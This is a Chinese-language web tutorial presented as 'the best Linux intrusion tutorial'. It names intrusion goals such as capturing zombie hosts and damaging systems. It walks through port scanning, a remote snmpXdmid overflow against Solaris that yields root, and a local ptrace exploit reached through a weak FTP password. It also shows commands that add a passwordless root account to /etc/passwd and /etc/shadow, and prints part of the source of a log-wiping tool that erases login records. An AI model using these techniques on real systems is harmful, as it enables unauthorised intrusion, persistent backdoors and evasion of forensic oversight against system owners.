|
|
 |
专题栏目 |
 |
 |
相关文章 |
 |
|
|
|
|
 |
[推荐]最好的入侵linux教程 |
★★★ |
|
|
|
| 最好的入侵linux教程 |
| 最好的入侵linux教程 |
作者:佚名 文章来源:网络 点击数: 更新时间:2008-9-9 16:34:25  |
|
一:基本知识 1:常见UNIX版本: SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN),InTeractive,Mach,Minix,Mks Toolkit,NetNSD,OSF/I,System V Unix,Unicos,Unix ware... 2:简单介绍几个 sunos&solaris SUN本来想用solaris取代sunos,不过在用户的要求下,到目前为止,还是维持两者并存的政策; Freebsd是著名的BSD-UNIX的一的继承者,是UNIX众多分支中相当稳定的一个,很多ISP均使用运行Freebsd; Linux是一个面对PC机个人用户的自由廉价的UNIX产品(其硬件平台是Intel系列的CPU),实际上众多的网络管理员真正使用的是Linux。 3:UNIX操作系统的特点 (1)多用户和多任务;(2)可移植性;(3)树行结构的文件系统;(4)I/O重定向技术和管道技术;(5)丰富的实用程序;(6)每个用户都有电子邮件。 4:尤为突出的优点 (1)稳定可靠性高;(2)网络功能强;(3)开发性好;(4)强大的数据库支持功能;(5)伸缩性强。 二:入侵目的 1:学习UNIX,熟悉内部操作,整体配置... 2:做跳板或以此捕捉更多UNIX肉鸡; 3:越权得到某些正常请求下得不到的东西; 4:攻击破坏或以此作为利器来破坏其他系统; 5:更多...... 三:入侵方法 1:寻找目标 工具:supperscan,流光,LANguard Network Scanner 2.0或者其他,凭个人喜好选用 supperscan:扫描23,79端口,注意含%,#,&...主机,这些就是UNIX; LANguard..作简单设置,即可开始,判断对方操作系统功能乃同类软件中的精品,直观准确; 流光:利用高级扫描,选telnet,PRC,POP3,FTP,Finger即可。 其他方法一样... (说明:很多管理员为了迷惑入侵者往往故意更改telnet登陆时出现的信息,请注意识别) 2:开始入侵 (1)溢出(所有关于UNIX的溢出,都需要在一个UNIX/Linux的环境下进行编译) A:远程溢出 溢出?呵呵,太多了!随便说几个:freebsd远程溢出,bind 远程溢出,Sun Solaris 5.7/5.8 Sparc远程溢出,redhat6.xrpc status远程溢出...自己去一一了解吧,在这里我简单说两个例子: a1:考虑到很多朋友使用windows,所以大家可以参看我的兄弟---蓝骑士的大作《freebsd溢出完全图文版》(地址:http: //www.itser.com/ez/.bbs/topic.cgi?forum=7&topic=25&show=),因为这个溢出 程序有已经编译好了可以直接在windows下使用; a2:Sun Solaris 5.7 Sparc远程溢出 搜索...终于让我找到了一台sunos 5.7,上我一台sunos 5.8 telnet 66.*.146.48 ----->>这是我的! SunOS 5.8 login: ply PassWord: Last login: Tue Apr 23 03:55:09 from 39448.ddn.xaonli Sun Microsystems Inc. SunOS 5.8 Generic February 2000 $ tmp/.sh ----->>当时溢出时做的处理! # ls bin data etc initrd mnt proc sbin usr boot dev home lib misc opt root tmp var xfn skip # cat >snmp.c ....... ----->>太长了,省略...自己去找! # gcc -o snmp snmp.c ----->>用gcc编译 snmp.c: In function `main': snmp.c:181: warning: passing arg 3 of pointer to function from incompatible pointer type snmp.c:181: warning: passing arg 4 of pointer to function from incompatible pointer type snmp.c:181: warning: passing arg 5 of pointer to function from incompatible pointer type
# ls bin data etc initrd mnt proc sbin snmp usr boot dev home lib misc opt root snmp.c tmp var # ./snmp copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/ snmpXdmid for solaris 2.7 2.8 sparc usage: ./s address [-p port] -v 78 #./snmp 216.*.45.63 -v 7 ---->开始溢出!! DELIRIUM mar 2001 poland //lsd-pl.net/ snmpXdmid for solaris 2.7 2.8 sparc adr=0x000c8f68 timeout=30 port=928 connected! sent! SunOS app1-stg-bk-sh 5.7 Generic_106541-09 sun4u sparc SUNW,Ultra-80 id uid=0(root) gid=0(root) ----->>是root哦! echo "ply::0:0::/:/bin/bash" >> /etc/passwd ----->>加个用户先! echo "ply::::::::" >> /etc/shadow ... ----->>还想干什么就继续吧! B:本地溢出 本地溢出需要一个具有Shell权限的帐号,这个帐号可以通过pop3或ftp弱密码得到,照样举个例子: 流光扫描...一会儿得到了一个ftp帐号(webmaster,webmaster),先telnet上去! telnet *.174.62.135 Red Hat Linux release 6.2 (Cartman) ----->>linux 6.2,容易搞定! Kernel 2.2.12-20kr2smp on an i686 login: webmaster Password: Last login: Wed Apr 24 02:21:58 from *.*.*.* You have mail. ----->>这家伙有新邮件,不过我没兴趣! [webmaster@ns webmaster]$ ----->>气人的普通用户$ [webmaster@ns webmaster]$cat >ts.c ... ----->>要学会利用网络资源,自己找,当是练习! [webmaster@ns webmaster]$gcc -o ts ts.c ----->>还是用gcc编译。 In file included from /usr/include/asm/user.h:5, from /usr/include/linux/user.h:1, from ts.c:30: /usr/include/linux/ptrace.h:22: warning: `PTRACE_SYSCALL' redefined /usr/include/sys/ptrace.h:103: warning: this is the location of the previous def inition [webmaster@ns webmaster]$ ls Desktop/ Mail/ ts* ts.c [webmaster@ns webmaster]$ ./ts attached bash# su root [root@ns webmaster]# ----->>搞定,看见#我就高兴! [root@ns webmaster]# cat >wipe.c ----->>扫脚印的,这个还是给大家吧,否则有人要扁我了! /*============================================================================= UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD The Shadow Penguin Security ( http://shadowpenguin.backsection.net ) Written by UNYUN ( unewn4th@usa.net ) ============================================================================= */ #include #include #include #include #ifdef UTMAXTYPE #define UTMPX #include #endif #include #ifndef _PATH_LASTLOG #include #endif #include #include #include #define SVR4_UTMP "/var/adm/utmp" #define SVR4_WTMP "/var/adm/wtmp" #define SVR4_LASTLOG "/var/adm/lastlog" #define SUNOS4_UTMP "/etc/utmp" #define SUNOS4_WTMP "/usr/adm/wtmp" #define SUNOS4_LASTLOG "/usr/adm/lastlog" #define BSD_UTMP "/var/run/utmp" #define BSD_WTMP "/var/log/wtmp"
#define BSD_LASTLOG "/var/log/lastlog" #define MAX_FPATH 512 int wipe_log(path,user,type) char *path,*user; int type; { strUCt utmp utmp_ent; #ifdef UTMPX struct utmpx utmpx_ent; #endif void *ent; char *un; int sz,fd,c=0; if (strlen(path)==0) return(1); if (type==0){ ent=(void *)&utmp_ent; #ifdef UTMPX un=(char *)&utmp_ent.ut_user; #else un=(char *)&utmp_ent.ut_name; #endif sz=sizeof(struct utmp); }else{ #ifdef UTMPX ent=(void *)&utmpx_ent; un=(char *)&utmpx_ent.ut_user; sz=sizeof(struct utmpx); #endif } if ((fd=open(path,O_RDWR))<=0) return(-1); while(read(fd,ent,sz)>0) if (!strncmp(un,user,strlen(user))){ memset(ent,0,sz); lseek(fd,-sz,SEEK_CUR); write(fd,ent,sz); c++; } close(fd); printf("Wiped %d entries of %s from %s.\n",c,user,path); return(0); } int wipe_lastlog(path,user,type) char *path,*user; int type; { struct passwd *p; struct lastlog ent; int fd; char buffer[MAX_FPATH];
|
|
|
|
|
| 文章录入:yekaiju 责任编辑:yekaiju |
|
|
上一篇文章: 2008热门小说排行榜 下一篇文章: 最好的ps视频教程 |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|
|